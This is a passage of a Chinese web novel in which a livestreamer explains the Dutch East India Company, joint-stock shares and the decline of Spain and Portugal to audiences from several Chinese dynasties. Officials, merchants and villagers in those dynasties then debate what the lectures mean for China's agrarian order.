【这不就是方才说的“海上马车夫”?原来如此。】
【船比人家多,运费比人家便宜,那当然都找他运。】
【这荷兰人,算盘打得真精。】
天幕中再次出现船跟鲱鱼罐头的画面。
“鲱鱼是第一桶金,船是吃饭的家伙。有了这两样,荷兰人有钱了。有钱就能雇人打仗,打赢了就能独立,独立了就能自己做生意。”
“但光有钱还不够。有钱无兵,如同小儿抱金过市。银子赚得越多,盯着你的人就越多。而且还有一个更要命的问题——”
她停了停,看着弹幕。
“你们知道,从1595年到1602年这短短七八年里,荷兰冒出了多少家做东方生意的公司吗?”
【几家?】
【做生意的不都那样,多了就抢。】
“十四家。都在荷兰这么个小地方,都做一样的买卖——去亚洲买胡椒、买香料,运回欧洲卖。”
她把纸条举起来给镜头看。
“十四家商号,都做一样的买卖。你们想想,会怎样?”
弹幕飘了几条。
【抢生意呗。】
【你压价我压价,最后谁都赚不着。】
【我们这儿茶行多了也是这样,互相拆台,最后全垮。】
“正是。这些公司互相抢生意。在亚洲买胡椒的时候,你出十两,我出十二两,他出十五两——当地人一看,这么多人来买,那就涨价吧。胡椒的价钱被抬上去了。”
“等船回了欧洲呢?十四家公司的胡椒堆在一起,卖不出去,只好降价。你降一成,我降两成,他降三成——本来能卖高价的货,硬是卖成了白菜价。”
她停了停。
“一边买得贵,一边卖得贱。两头吃亏。再这么抢下去,十四家公司一起垮。”
弹幕安静了一瞬。
【那怎么办?】
【商人互相争抢,谁能拦得住?】
【官府不管?】
雁非看着弹幕,缓声解释道:
“荷兰人算了一笔账。与其十四家争来争去,谁也活不成,不如合在一起,做一家。”
她把纸条放下,拿起一张新的,上面写着六个字。
“联合东印度公司。”
“1602年,荷兰议会出面,把这十四家公司捏成了一家。不是谁吞了谁,是十四家合在一起,按各自的规模折算成股份,共同组成一个公司。”
“这家新公司,跟以前的合本不一样。它有四条规矩——”
“第一,资本锁死。你投了银子,十年之内不能退。不是你不想退,是不许退。你想用钱?把股份卖给别人,公司不管退钱。”
【十年不许退?那谁敢投?】
【银子投进去十年拿不出来,万一急用怎么办?】
雁非没有急着解释。
“这就是第二条规定——股份可以转手。你不能找公司退钱,但可以把股份卖给任何人。今天卖,明天那人就能拿着股份去领分红。公司不管谁拿着股份,只管按股份分钱。”
弹幕又飘了几条。
【这倒稀奇。股份能当银子使?】
【那岂不是想脱身就脱身,又不耽误生意?】
【这法子……合本做不到这个。】
“第三,有限责任。你投了一百两,生意亏了,最多这一百两没了。你家的房子、地、存款,一分不动。债主追到门口,你把股份给他看——我就这么多,要命一条,要钱没有。”
【什么???只赔本金??不涉家产??】
【天底下哪有这样的道理??】
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【这岂不是亏多少都有限?那谁还怕做生意?】
雁非等弹幕飞了一会儿,才继续说。
“第四,朝廷给特权。荷兰议会给了这家公司一纸文书——从非洲好望角往东,一直到南美洲南端,这片海面上的贸易,只许这一家公司做。别人做了,就是犯法,这家公司可以派兵船去打。”
“这四条规矩加在一起,你们想想,会怎样?”
弹幕安静了好一阵。
【资本锁死,钱就动不了了?不,股份能转手,钱其实没锁死,是锁在生意里了。】
【股份能转手,又有朝廷保护,那谁不敢投?投了能卖,赔了只赔本金,这买卖做得。】
【十四家合成一家,再也不用互相压价了。买的时候一家去买,价钱压下来;卖的时候一家去卖,价钱抬上去。】
【这不是合本。合本断然没有这样的规矩。】
【荷兰人这是什么章程?人死了生意照做,人退了股份照转,赔了钱只赔本金——这生意是铁打的?】
【我活了四十六年,管了二十年商号,从没想过生意能这样做。】
【这法子,是把千万人的散碎银子聚成一座银山。一人拿一百两做不成什么,一万人都拿一百两,那就是一百万两。】
雁非看着弹幕一条接一条往上涌,没有接话。她等了几息。
“这家公司叫荷兰东印度公司。1602年成立的时候,募集了六百五十万荷兰盾的资本——你们知道这是什么概念吗?同时期的英国东印度公司,资本只有它的十分之一。”
“这六百五十万盾,不是几个大商人的钱。是荷兰的商人、工匠、码头工人、寡妇、女仆——各行各色的人,你出五十两,我出一百两,凑出来的。阿姆斯特丹一个城市,就认了一半的股份。”
她把手从纸条上移开,开始收拾桌上的东西。
“股份制的事,今天就讲到这儿。”
弹幕又飘上来几条。
【且慢,这公司后来怎样了?】
【股份转手如何转法?】
【下期还讲荷兰?】
“下期讲阿姆斯特丹交易所——股票是怎么买卖的。再讲银行——钱庄的升级版。再讲郁金香——荷兰人怎么把一朵花炒成了一栋房子的价钱。”
“今天就到这儿。”
直播关了。
画面暗下来之后,雁非坐在椅子上,长长地吐了一口气。
不紧张了。但还是累。
她拿起手机看了一眼留言板记录。有人在问“股份转手如何转法”,有人在说“只赔本金这条,咱们的合本若能学来一成就好了”,有人在叹“荷兰人打仗靠雇,做生意靠合,样样离不开银子,可样样都比咱们想得透”。
她翻到一条弹幕,盯了很久——
【葡萄牙抢的是看得见的银子,荷兰赚的是看不见的规矩。银子花完就没了,规矩立下了,子子孙孙都受用。这才是真本事。】
看了一眼直播面板的进账,嗯,又是轻松入账十几万两的一天呢。
27.第 27 章
天幕之外
天幕上放映着荷兰人如何造船、如何合伙、如何做买卖,各地的人都仰着头静静看着。
天幕暗下之后,仍有人在原地伫立良久。
【明·江南某市舶司】
孙同知回到家中,在书房里坐到深夜。儿子端茶进来,见他对着几张纸怔怔出神,纸上写着:“荷兰船:不装炮,用人少,运费贱”“大明船:装炮,用人多,运费贵”。
“爹,还在想天幕上的事?”
“那荷兰人算账算得明白。”孙同知叹道,“被抢的概率不高,省下的运费尽够赔付。咱们怎么就没人这么算过?”
“算了也没用。”儿子将茶盏放下,“咱们的船不装炮,一出海便是海盗的盘中餐。荷兰人不怕,是有英国人护航,咱们又有谁?再说,你聚起银子造船,朝廷便说你私造战船;你赚得大钱,朝廷又说你富可敌国,一经查办,一切便化为乌有。所以咱们的银子,到头来也只能买地。”
孙同知沉默片刻。
“那天幕上讲股份制,资本锁死、股份可转、赔了只赔本金,寡妇、女仆都能入股。一人一百两不算什么,一万人便是一百万两,银子聚在一起,生意自然能做大。”
“做大了又如何?银子聚起来又能做什么?不过也是买地,和咱们一样。商人赚了钱便买地,地买多了,农户无地可耕,便成流民;流民一多,天下便不稳。荷兰人无地可买,银子只能投入生意,可在咱们这儿,地才是根本。”
孙同知将纸折起,塞进抽屉。
“明日把那几本海商旧账翻出来,我要看看。”
“看什么?”
“看看人家是怎么算的。”孙同知说,“算不了将来,还算不了过去么?”
【宋·汴京界身巷】
交子铺的王掌柜关了铺面,独自坐在柜台后翻查旧账。他翻到仁宗朝的一册,那时交子仍由十六户富商联保,每一届都足额兑钱,百姓信交子胜过信银两。
天幕上讲到阿姆斯特丹银行:“随时能换银子,有多少银子发多少纸币。”
“咱们也做过。”他喃喃自语。
绸缎铺的赵员外提着一壶酒走进来:“王兄,我就知道你还没睡。”
二人对坐饮酒。
“荷兰人那银行,与咱们的交子可是一回事?”
“说是一回事,也不是一回事。”王掌柜道,“人家的规矩是商办、官督、朝廷不插手。咱们的交子起初也是商办,可朝廷一插手,便全然变了模样。荷兰人能成,并非法子多好,而是朝廷认可;可在咱们这儿,你立起股份制,官府认你的股份凭证吗?你立下字据,衙门又肯管吗?”
赵员外饮了一口酒:“可也有人说,学了股份制,银子聚起来便去买地,农户失地成流民,天下便会不稳。”
“那是另一回事。”王掌柜摇头,“可咱们的银子,不投生意便只能买地,投了生意又怕朝廷伸手,左也是死,右也是死。”
他合上旧账,轻轻一叹。
“咱们不是不会算,是算了也不算数。”
【清·广州十三行】
伍秉鉴在书房坐到半夜。天幕上讲股份制、讲公司、讲银行,这些事他做了几十年生意并非没想过,却从未有人如此明白地讲透。
他翻出账本,从嘉庆年间看起,买地、盖房、捐官、修祠堂的账目密密麻麻,真正投入生意的,却只有薄薄几页。
他提笔写下:每年盈余,五成投入生意。
陈举人推门进来,不待落座便开门见山:“秉鉴兄,我听说你要将五成银子投入生意?”
伍秉鉴并未否认。
“你疯了?”陈举人压低声音,“数千年来士农工商,商居最末,为何?商人不事生产,左手买右手卖,东西依旧是那件东西,你赚的银子,不过是从别人口袋里挪来。种地却不同,春种秋收,是从无到有,那才是根本。荷兰人为何只能做生意?只因无地可种。咱们有地、有粮、有百姓,何必去学他们?”
“可荷兰
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人那套规矩——”
“那套规矩在咱们这儿用不了。你投银造船,朝廷说你私造战船;你开办工厂,朝廷问你意欲何为?你伍家能有今日,靠的不是银子多,而是守规矩。商在末位,安分守己,朝廷便不会为难你;可你若学了荷兰人的做法,你以为朝廷还能容得下你?”
伍秉鉴沉默许久。
“陈兄说得有理,可荷兰人那话也没错,赚了钱不投入再生产,迟早要被人赶超。”
“那是荷兰,咱们这儿,规矩不一样。”
“我知道。”
陈举人离去后,伍秉鉴坐回案前,看着纸上那行字,将“五成”划去,改为“三成”。又看了片刻,终究放下笔,将纸折好锁进抽屉。
【元·大都商贾宅中】
赛义德将天幕上听闻的内容,用波斯文记在纸上:资本锁死,股份可转,有限责任,朝廷给予特权却不插手经营。
儿子小赛义德凑过来看:“阿爸,咱们的斡脱,不也是朝廷给的特权吗?”
“不一样。”赛义德放下笔,“斡脱用的是朝廷的钱、开的是朝廷的商号,赚了钱归朝廷;东印度公司用的是商人的钱、开的是商人的商号,赚了钱归商人。一个是替别人做事,一个是为自己打拼,哪个更用心?”
“自然是为自己干更上心。”
“所以人家的公司才能做大。”赛义德顿了顿,“可在咱们这儿,今日朝廷给你特权,明日便能抄你的家。你赚了钱,他们说你通敌;你赔了钱,他们又说你无能,你能如何?”
小赛义德默然不语。
赛义德将纸折起,揣入袖中:“记下来吧,或许有一日能用得上,或许用不上。但记下来,总好过忘记。”
他起身走到窗前,大都已然宵禁,街上一片漆黑,只有更鼓声远远传来。
“睡吧,明日还要赶路。”
“去哪儿?”
“去杭州,顺便打听打听——有没有人见过荷兰人的船。”
”
28.第 28 章
【元·大都某官员宅中】
天幕之事自然也传入官员耳中。一位蒙古官员将茶碗重重顿在桌上:“商人有了兵权,那还了得?我大元以马上得天下,兵马、刀枪皆归朝廷。商人掌兵,今日替你管生意,明日便能与你谈条件。”
旁侧的汉人幕僚小心道:“大人,那公司是朝廷颁给特许状——”
“给特许状?”官员打断他,“管着管着,便成了他们自己的。你信不信?天幕上说荷兰人打仗靠雇兵,雇来的兵只认钱,谁给钱便听谁的。今日你给钱,他替你打仗;明日别人出价更高,他便反过来打你。这种人,能用吗?”
幕僚低下头,不敢再接话。
“还有,”官员忽然想起,“天幕上说,寡妇、女仆都能买股份?女子也能做生意?荒唐!女子不待在家中,出来抛头露面做什么生意,岂不是乱了纲常?”
幕僚唯唯诺诺地退了出去,走到门口心中暗叹——可人家正是靠着这看似“荒唐”的规矩,成了“海上马车夫”。这话,他终究没敢说出口。
【明·江南某县学】
县学的方教谕将学生召集一处,正色道:“天幕上讲荷兰,说到底只一个‘钱’字。有钱便能雇兵打仗、造船运货,能让寡妇女仆都来投银。可你们想过没有,钱从何处来?钱生钱,不种地、不织布、不打铁、不烧窑,钱难道会自己长出来吗?”
他扫视众人。
“荷兰人靠经商牟利,可经商的本钱,终究是农人耕种、工匠劳作而来。没有农人种地,商人吃什么?没有工匠做工,商人卖什么?天幕上只讲商人如何赚钱,却不提农人如何耕种、工匠如何劳作,这便是舍本逐末。”
一名年轻学生小声道:“可荷兰人的船、渔业、公司,确有可取之处——”
“可取?”方教谕打断他,“你读了多年圣贤书,便只看出这些?商人逐利是天性,可朝廷的职责,是让逐利之人不害农、不害工、不害国。荷兰那一套,商人固然快活,可农人、工匠、朝廷又当如何?”
他起身走到窗前。
“我大明以农为本,地里长不出粮食,说什么都是空话。荷兰那样的小国,无地可种,只能经商;咱们有地、有粮、有百姓,何必去学他们?”
【宋·汴京某书院】
书院中的争论更为激烈。一名年轻学生道:“荷兰人的股份制,资本锁死、股份可转、有限责任,如此一来人人都能投银,生意自然能做大。”
对面年长些的学生放下书卷:“做大又如何?生意做大、银两增多,最后还不是买地、放贷、盘剥百姓?哪朝哪代不是如此?商人有钱便买地,地多了便租给农户,农户交不起租便借高利贷,还不上便只能卖地。到最后田地尽归商人,农户沦为流民,流民一多,天下必乱。”
“可荷兰人——”
“荷兰是荷兰,才多大地方?人口不过几十万,还不如咱们汴京城多。我大宋百姓何其之多,若商人都学荷兰那一套,银两尽聚商人之手,百姓怎么办?朝廷怎么办?”
程山长被惊动而来,学生们顿时安静。
“荷兰人的做法,确实精明。”他开口道,“但精明不等于高明。中国的圣人并非不懂经商,范蠡经商,三聚三散,富可敌国;子贡经商,结驷连骑,诸侯待之以上宾。可圣人为何不将经商视为正途?”
他转过身望着众人。
“因为生意再大,也只是将银钱从一人之手转到另一人之手,地不会多一亩,粮不会多一石,布不会多一匹。真正让天下富足的,是农人之耕、工匠之作,那才是本,经商只是末。本末倒置,天下必乱。”
【清·广州茶楼】
次日,天幕之事便传遍广州城,茶楼里比平日热闹许多。
“荷兰人的船我见过。”一名跑过船的中年人道,“船速快,运费又低,咱们的船比不过。”
“为何比不过?只因人家的船不装炮。”
“不装炮,就不怕海盗?”
“人家算过账,被抢的概率不高,省下的运费足够赔付损失。”
“算得明白又有何用?咱们的船不装炮,一出海便是海盗的猎物。荷兰人不怕,是有英国战舰护航,咱们又有谁?朝廷的船都在岸上朽烂了。”
旁侧一位老者端着茶碗插话:“你们只看见荷兰人有钱,怎不想想他们为何经商?只因无地可种。无地可种之人,不跑船还能做什么?咱们有地、有粮、有百姓,何必去学他们?学他们不种地吗?”
“可人家那一刀剖鱼的手艺确实厉害,你不会而别人会,便能赚大钱。”
“那是手艺,是工匠的本事,与商人无关。”老者缓缓道,“把工匠的功劳算在
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商人头上,不妥当吧?”
有人叹道:“争这些有什么用?人家富足已是事实,咱们在这里争得面红耳赤,人家的银子也不会少一分。”
【明·河南某村】
村里人关心的事与城里人不同。一名年轻后生蹲在场院上,向几位老人讲着天幕上的见闻。
“那荷兰人,地方比咱们县还小,靠着经商成了‘海上马车夫’,商船竟有一万多艘——”
“一万多艘?”一位叼着旱烟的老汉打断他,“那得砍多少木头?树都砍去造船,地谁来种?”
旁人纷纷点头。
“再说,”另一位老汉接话,“商人赚的是差价,低价买、高价卖,东西还是那件东西,不会多一粒粮、一尺布。农人不同,春播一粒种,秋收万担粮,那是从无到有,才是真本事。”
老汉将旱烟在鞋底磕了磕:“我跟你说,这世上最要紧的,是地里能长出粮食。船再多,也得有人种地,没人种地,你运什么?”
年轻后生不再言语。
“天幕上讲的那些,听听便罢,别当真。咱们是种地人,把地种好,比什么都强。
【明·万历】
天幕暗了很久。
张居正从头看到尾,想了很久,最后得出一个结论:荷兰人那套东西,大明一样都用不了。
造船不装炮?海上有倭寇,船不装炮就是找死。股份制?银子聚起来就买地,地买多了农户失地,天下必乱。银行?宝钞怎么废的,朝廷自己心里清楚。
但真正让他坐不住的,不是这些。
他想到的是——荷兰人能成,是因为他们的朝廷认规矩,认了就不伸手。大明的规矩呢?太祖皇帝立的少吗?后来谁守了?他自己搞一条鞭法,不也是绕着祖制走?
规矩是死的,人是活的。活人要吃饭、要捞好处,规矩挡不住,只会被绕过去。荷兰人的规矩能立住,不是法子高明,是他们的朝廷不伸手——不是不想伸,是伸了要倒霉。
大明的朝廷呢?
他拿起笔,在折子上写了漕运的账该怎么算,盐政的规矩该怎么立。荷兰人的法子用不上,但账总该算算。
笔放下的时候,他忽然觉得不必再想了。荷兰人那套东西,学了也没用,规矩立得再好,人不守,就是空的。
而人,是最靠不住的。
29.第 29 章
【明·万历·泉州】
海商陈家的厅堂里聚着七八个人,都是泉州地面有头脸的商人。
陈家老爷子坐在主位,手里捏着一份刚从马尼拉送来的信,信上说西班牙人又加税了,一船货的税比去年多了三成。
“三成。”他把信拍在桌上,“前年加两成,今年加三成。再这么下去,咱们跑一趟南洋,赚的还不够喂洋人的。”
没人接话。
老爷子姓陈,名德隆,今年六十有三,十六岁上船,跑了一辈子南洋。从伙计做到船主,从船主做到东家,什么风浪没见过。但这几年,他是真觉得憋屈。
葡萄牙人、西班牙人、荷兰人,一个比一个狠。以前跑南洋,到了码头卸货交税,规矩清楚,数算明白。现在倒好,今天加一成,明天加两成,船还没靠岸,税就先涨了三回。
“老爷子,”旁边一个年轻人开口,“要不咱们换个路子?听说荷兰人的地盘税低……”
“低?”陈德隆看了他一眼,“荷兰人的税是低,可他们的兵船在海上等着你。你不去他们的码头,他们就在半路上截你。你以为我没想过?”
年轻人缩了缩脖子,不敢再说话。
陈德隆叹了口气。他不是没想过办法。去年他联合几个泉州商号,想自己凑钱买几条炮船护货。结果官司打到府衙,知府大人说海商不得私养兵船,一句就顶了回来。
官府不管,自己不能管。南洋的生意,一年比一年难做。
他端起茶盏,发现茶凉了。
就在这时,天幕亮了。
厅堂里几个人同时抬头。天幕这东西,几年前开始出现,隔三差五亮一回,每次都讲些稀奇古怪的事。有人说这是神明显圣,有人说这是妖物作祟,陈德隆不信这些,但每次天幕亮,他都会看——因为上面讲的东西,确实有用。
他跑南洋几十年,跟葡萄牙人、西班牙人打交道,知道他们用的是什么历法、记的是什么年份。天幕上说的那些事,他能对上号。上次天幕讲西班牙人在美洲挖银山,他听完就让人去打听,果然马尼拉的西班牙商人就是这么干的。知己知彼,百战不殆。管他神仙还是妖怪,能用的就是好东西。
这次天幕上出现的不是画片,是船。
铺天盖地的船,挤在一个港口里,桅杆密密麻麻,像冬天掉光了叶子的树林。船从画面两边往后退,一艘、两艘、十艘、几十艘。退了很久,还是船。船与船之间几乎擦着船舷,中间只够划一条舢板。
港口的全貌出现了。城墙、钟楼、仓库、船坞,层层叠叠往内陆铺开。
陈德隆手里的信飘到了地上,没去捡。
一个年轻人站起来,椅子往后一倒,哐当一声,没人顾得上回头。
天幕上出现一行字:十七世纪,阿姆斯特丹港。荷兰商船总数,一万六千艘。英吉利、法兰西、德意志三国之和,不及其数。
画面一侧出现对比:荷兰货船,大的装四百石。大明漕船,大的不过百石。一艘荷兰船,顶四艘大明船。
“一万六千艘。”陈德隆低声重复了一遍。
他做了一辈子海商。泉州港有多少船,他心里有数。漕船、商船、渔船,运河上跑的全部加起来,也没有这个数。
而这个叫荷兰的国,一万六千艘。
厅堂里安静得能听见蜡烛芯烧焦的声音。
---
天幕上的画面变了。
一张亚洲地图。印度洋,印尼群岛,标着几个红点:果阿、马六甲、澳门、安汶。每个红点旁边都有一面小旗,写着“葡”。
画外传来一个年轻女子的声音:
“十六世纪末,葡萄牙人在亚洲经营了一百多年。果阿——印度洋总督府,1510年拿下。马六甲——太平洋与印度洋的咽喉,1511年拿下。澳门——1557年从大明租来,是进中国和日本的跳板。安汶——香料群岛核心,1512年插旗。”
“香料生意,他们把持着——欧洲市面上九成的香料,从葡萄牙人的船上卸下来。”
陈德隆点了点头。这些他知道。葡萄牙人、香料、马六甲,都是他跑了一辈子的地方。
红点一个一个暗下去。果阿暗了,马六甲暗了,安汶暗了。澳门还亮着,但也灰蒙蒙的。
“但到了十七世纪初,这些据点一个一个没人管了。为什么?”
天幕上出现一行字:1580年(画面上两个王冠并排放着)。
“1580年。葡萄牙国王死了,无嗣。西班牙国王——他母亲是葡萄牙公主——派兵开进里斯本,加冕成了葡萄牙国王。两国合一,史称‘伊比利亚联盟’。葡萄牙的海外地盘、香料生意、船队,全归了西班牙。”
厅堂里几个人互相看了一眼。
两个国合了?就因为国王死了、没有儿子?
陈德隆皱了皱眉。这在他们听来,像戏文里的事。但天幕上那个声音还在往下讲,不像在说戏。
---
【宋·熙宁,汴京】<
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p>枢密院议事厅里,今日当值的几位原本正在拟定应对辽国的国策。
天幕亮了。听着似乎还跟上次差不多,讲些小国商贾之道。大家心里其实有些不以为然,虽然放着耳朵听,却也没停下原本想要商量的事。
直到看见两个王冠并排放着,底下一个年份:1580年。
画外传来一个年轻女子的声音:“1580年。西班牙国王死了,葡萄牙国王死了。西班牙国王的儿子继承了俩王位。两个国合了。”
坐在上首的宰相韩琦忽然抬手,示意众人安静。
绝嗣。
他在朝中几十年,处理过多少宗室承袭的事。濮王议礼那会儿,满朝文武吵了整整一年,最后是英宗皇帝拍板定了“濮王称亲”的规矩,才算了结。
还有前几年,越王绝嗣,从旁支选了一个过继,光是查族谱就查了三个月,宗正寺的老臣们差点把库房翻个底朝天。
每一步都如履薄冰——谁过继、谁承嗣、谁祭祀、谁袭爵,礼法上差一个字都不行。
而这里——两个国,说合就合了。
韩琦的目光还钉在天幕上,但脑子里已经在转了。
葡萄牙的宗室呢?就没有旁支?没有亲族?
即便国王无嗣,也该从最近的支脉里选一个出来继位,这是礼法,是规矩,是立国的根本,怎么会轮到邻国的国王?
西班牙的国王再亲,也是外人。外人坐了王位,葡萄牙的贵族们能服?朝臣们能服?百姓们能服?
他转头看身边的同僚,此时还只是参知政事王安石也盯着天幕,嘴唇动了动,似乎想说什么。
韩琦没等他开口,又转回去看天幕。
那个声音还在往下讲,说西班牙国王兼了葡萄牙国王之后,葡萄牙的香料生意归了西班牙朝廷,钱归了西班牙国王。
韩琦听到这里,轻轻哼了一声。
果然,外人坐了王位,第一件事就是把自己的钱袋子塞满。
一个王国,绝了嗣,宗室不争,朝臣不谏,就这么安安稳稳地把王位交了出去。这在大宋是不可想象的事。
别说一个国,就是一家藩王绝了嗣,能从宗正寺吵到垂拱殿,吵几年都定不下来。御史台的谏官们能写几百道奏疏,太常寺的礼官们能翻烂所有的典籍。
不是因为那家人多重要,是因为规矩不能乱。乱了规矩,天下就没了章法。
而葡萄牙人,就这么认了。
韩琦摇了摇头,端起茶盏,发现茶凉了。
30.第 30 章
[1588年,一支舰队浩浩荡荡,旗幡招展。西班牙无敌舰队,一百三十艘船,三万人。]
雁非的声音从画外传来:“1588年。西班牙无敌舰队去打英国。”
话音未落,画面一转。舰队变成了风浪、火焰、沉船。旗帜在浪里翻卷,桅杆折断,船身倾斜。有人从船上掉进海里,手伸出水面,然后不见了。
“惨败。一半以上的船没回来,一万多人死在海里。”
天幕上又出现四个年份:[1557、1575、1596、1607。]
雁非接着道:“西班牙朝廷到处借钱,借了还不上,赖账。四次。为什么?钱全花在打仗上了——跟荷兰打了八十年,跟德意志打了三十年,跟奥斯曼打,跟英国打。船坏了不修,兵少了不补,美洲的银子运不回来——护航的船都没了。”
天幕画面一转:运银船从美洲出发,帆上画着西班牙王徽。海面平静得不像话,船尾拖出一道细细的白痕。远处海天相接的地方,有一团云慢慢压过来,像是憋着一场风暴。
“西班牙人在美洲挖了多少银子?十六、十七两百年,从波托西银山挖出一万六千吨白银。折成一亿六千万两。够大明朝廷搬进库房四十回。”
画面切到西班牙王宫,腓力二世躺在病床上,身边没有金银。床柱上的圣徒雕像垂着眼睛,像是也在看这个空荡荡的库房。窗帘半拉着,光线从缝里漏进来,照在国王干枯的手背上。
“腓力二世死的时候,库房里一粒银子都没有。葬礼是借钱办的。”
天幕上的地图回到亚洲。那几个红点,果阿、马六甲、安汶,彻底暗了。每暗一个,韩琦的眼皮就跳一下。到最后一片漆黑时,他轻轻吸了一口气。
雁非顿了一下,忽然问了一句:“葡萄牙人赚了一百多年的钱,去哪儿了?”
里斯本的港口出现在画面里,运银船一艘接一艘靠岸。贵族的宴会,修道院的工地,工人在脚手架上忙碌。
香料的气味仿佛隔着天幕都能闻见——胡椒、肉桂、丁香,混在一起,浓得发腻。一个工人从脚手架上滑了一脚,又抓住了横木,悬在半空中晃了两下,才翻上去。
“修教堂、建修道院、买丝绸、买香料——自己运回来的香料,自己撒在菜里。国王盖房子花的钱,够再派一支船队去印度。贵族住的宅子,比王宫还大。葡萄牙王室每年从亚洲赚的银子,够大明造三艘宝船。但这些钱,一文都没变成新船、新炮、新兵。”
“1580年后,西班牙人把葡萄牙的香料钱拿去打荷兰、打英国,打到库房见了底。1640年葡萄牙复国,却发现船队连印度洋都到不了了。”
雁非沉默了片刻,才又开口:“西班牙人有一头银牛,只管挤奶,不喂草。银子挖出来,花了,没了。葡萄牙人的香料,一半撒在菜里,一半盖在教堂上。亚洲的地盘,空了。荷兰人等的就是这个。”
【宋·汴京】
司马光看着天幕:“天幕说的‘使钱生钱’,是让朝廷也去开商号、做生意吗?”
王安石转过头看他,此时还算年轻的两人政见不算相合,却也还是比较平和。
“未尝不可啊。”王安石说。
司马光摇了摇头。
“荷兰人的银子是六千七百个商人凑出来的。可你有没有想过——他们为什么愿意凑这个钱?”
王安石没说话,他的手指在袖中微微蜷了一下,又松开。
“因为他们知道,凑出去的钱,会变成船,船会运货,货会换更多的钱,钱再分回他们手里。”司马光的声音不紧不慢,“一圈一圈,钱生钱。可这个圈,能转起来,靠的不是章程,是——信。”
他顿了顿。殿里很静,连烛芯燃烧的噼啪声都听得见。
“商人信这个商号,才会出钱。商号信那些船主,才会造船。船主信那些水手,才会出海。一层一层,全是信。朝廷征税,靠的是刀兵律法,不是信。”
王安石听到这里,忽然笑了一下。不是冷笑,是那种听见了谬论忍不住要说话的笑。
“君实,”他开口了,“你说了半天的‘信’,那我问你——朝廷铸钱,百姓信不信?朝廷政令,百姓信不信?朝廷发兵,百姓信不信?”
司马光微微一怔。
“百姓信朝廷,不光要因为刀兵律法,”王安石说,“也是因为朝廷做的每一件事,都先是天下的公利。朝廷开商号,不是为了肥几个内藏库的官吏,是为了充实国用、减轻民赋。百姓若是看见朝廷把赚来的钱减了税、修了路、赈了灾,怎么就不信了?”
司马光摇了摇头:“你说的那是理想的朝廷。可荷兰人的商号,本钱是商人自己出的,亏了也是商人自己担着。朝廷开商号,亏了算谁的?算百姓的?算国库的?”
“所以章程要定在前头。”王安石的声音不高,但很硬,“商号的钱从哪来、用到哪去、
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盈了怎么分、亏了怎么担,一一写明白,公之于众。这不是你方才说的‘信’吗?商人能定章程,朝廷反倒定不了?”
司马光沉默了一会儿,没有直接反驳,只是转过头,看着天幕上那座船坞。
“朝廷能收税,但收不来‘信’。荷兰人那六千七百人,不是被征来的,是自己凑来的。他们出的每一文钱,都是心甘情愿的。朝廷要百姓出钱,心甘情愿的有几个?”
他顿了顿,又说了一句:
“礼法管的是上下尊卑,管不了人心向背。荷兰人的商号能转两百年,不是因为章程写得好,是因为那些出钱的人,信它能转两百年。”
王安石没再说话。
他垂下眼,看着案上那张空白的纸,纸的边缘被烛火映得发黄。嘴唇微动,像是还要争辩,但终究没有开口——不是被说服了,是知道这场争辩此刻不会有什么结果。
韩琦端着茶盏,茶早就凉了,他也没喝,只是静静听着两人的辩论。
天幕上,东印度商号的旗子还在印尼群岛上一面一面插下去。每插一面,就有一声轻微的钝响,像是钉子敲进木头里。王安石的手指跟着那声响,在袖中轻轻敲了一下桌面。
画面一黑。黑得很彻底,连烛火的倒影都消失了片刻。
一行大字浮出来:荷兰东印度公司。
下面一行小字:六千七百人出本钱。
“这个商号,全名叫‘联合东印度公司’。荷兰人自己叫它VOC,为了方便咱们理解,后面就叫它东印度商号。”
“荷兰人没有朝廷出钱。他们的朝廷——尼德兰联省——刚打完八十年仗,从西班牙手里独立。打完仗,朝廷的库房穷得叮当响。但荷兰的商人有钱。”
“上一期咱们提到过,1602年,六千七百人凑了一笔钱,这六千七百人是商人、船主、磨坊主、酿酒的东家。他们把银子放在一起,不是为了修教堂,不是为了打仗,是为了——赚钱。”
画面切出数据:东印度商号本钱:六十五万荷兰银钱。折银二百万两。数字是用手写体写在羊皮纸上的,边缘有一道折痕,像是被人反复翻看过。羊皮纸的边角微微卷起,露出底下一层更旧的墨迹。
“六十五万荷兰银钱是什么数?大明万历年间,朝廷一年收税四百万两。东印度商号一家商号的本钱,顶朝廷半年税银。葡萄牙人在亚洲经营一百年,能动用的银子,从没超过这个数的十分之一。”
31.第 31 章
“这笔银子能干什么?不是做生意。是打仗。”
地图上的红点重新亮了起来。从欧洲出发,绕过非洲,穿过印度洋,往印尼群岛去。红点移动得很慢,像一滴血在海图上缓缓爬行,拖出一条细细的红线。红线经过的地方,海面似乎都暗了一瞬。
“商号成立的第二年,派了十四艘船去亚洲。不是货船,是战船。两千水手,一千兵。为什么带兵?东印度商号的章程上写着:商号有权宣战、筑城、占地、签条约。它不是商号,是披着商号外衣的小朝廷。”
红点落在安汶。一面新旗子升起来。旗子升到一半的时候停了一下,像被什么东西绊住了,然后猛地一窜,到了杆顶,在风里展开。
“安汶。三天拿下。”
红点继续走。落在雅加达。
“1619年,建巴达维亚——东印度商号的总部。城墙、码头、总督府、兵营。这不是商栈,是座寨子。城墙上有炮,城外有兵营。”
一座城的图景浮现在画面上。方方正正的城墙,港口里停着船,总督府在城中央,旗杆上飘着旗。城墙的砖缝里嵌着青苔,铁城门半开着,门口站着两个哨兵,火枪枪托抵在地上。一个哨兵转过头,朝另一个说了句什么,另一个没理他,眼睛盯着海面。
红点继续走。落在马六甲。
“马六甲在1641年被围了六个月,葡萄牙守军投降。马六甲海峡的门户,从此姓了荷兰。”
地图上印尼群岛一带,所有葡萄牙的旗子都被拔掉了。取而代之的是东印度商号的旗,密密麻麻,插满了那些岛屿。旗子插下去的时候,像是有人用针一下一下扎在地图上,扎了几十下,整个群岛都扎满了。旗子在风里猎猎作响,声音不大,却很密,像雨打在芭蕉叶上。
“四十年。葡萄牙人在亚洲经营一百多年,荷兰人花几十年,全抢过来了。不是荷兰人能打。是葡萄牙人先走了。西班牙国王把葡萄牙的香料钱拿去打荷兰,打到葡萄牙的据点连船都派不出来。荷兰人走过去,捡起来了。”
画面又变了。一座岛。岛上只剩一片树林,树林旁边立着寨子,岛周围有船巡逻。
“这是班达群岛,肉豆蔻的唯一产地。荷兰人占了之后,把岛上的人赶走,把肉豆蔻树砍光,只留一个岛种。你种一棵,我砍一棵。你偷偷卖,我的兵就来。他们把这叫‘独霸’。不是做生意,是抢地盘。用刀枪抢。”
画面切出一组数据:独霸之前,肉豆蔻一斤不了一文钱。独霸之后,在欧洲一斤值六百文。六百倍。
画面接着出现:荷兰兵把成袋的肉豆蔻倒进火堆,香料燃烧的浓烟升上天空。
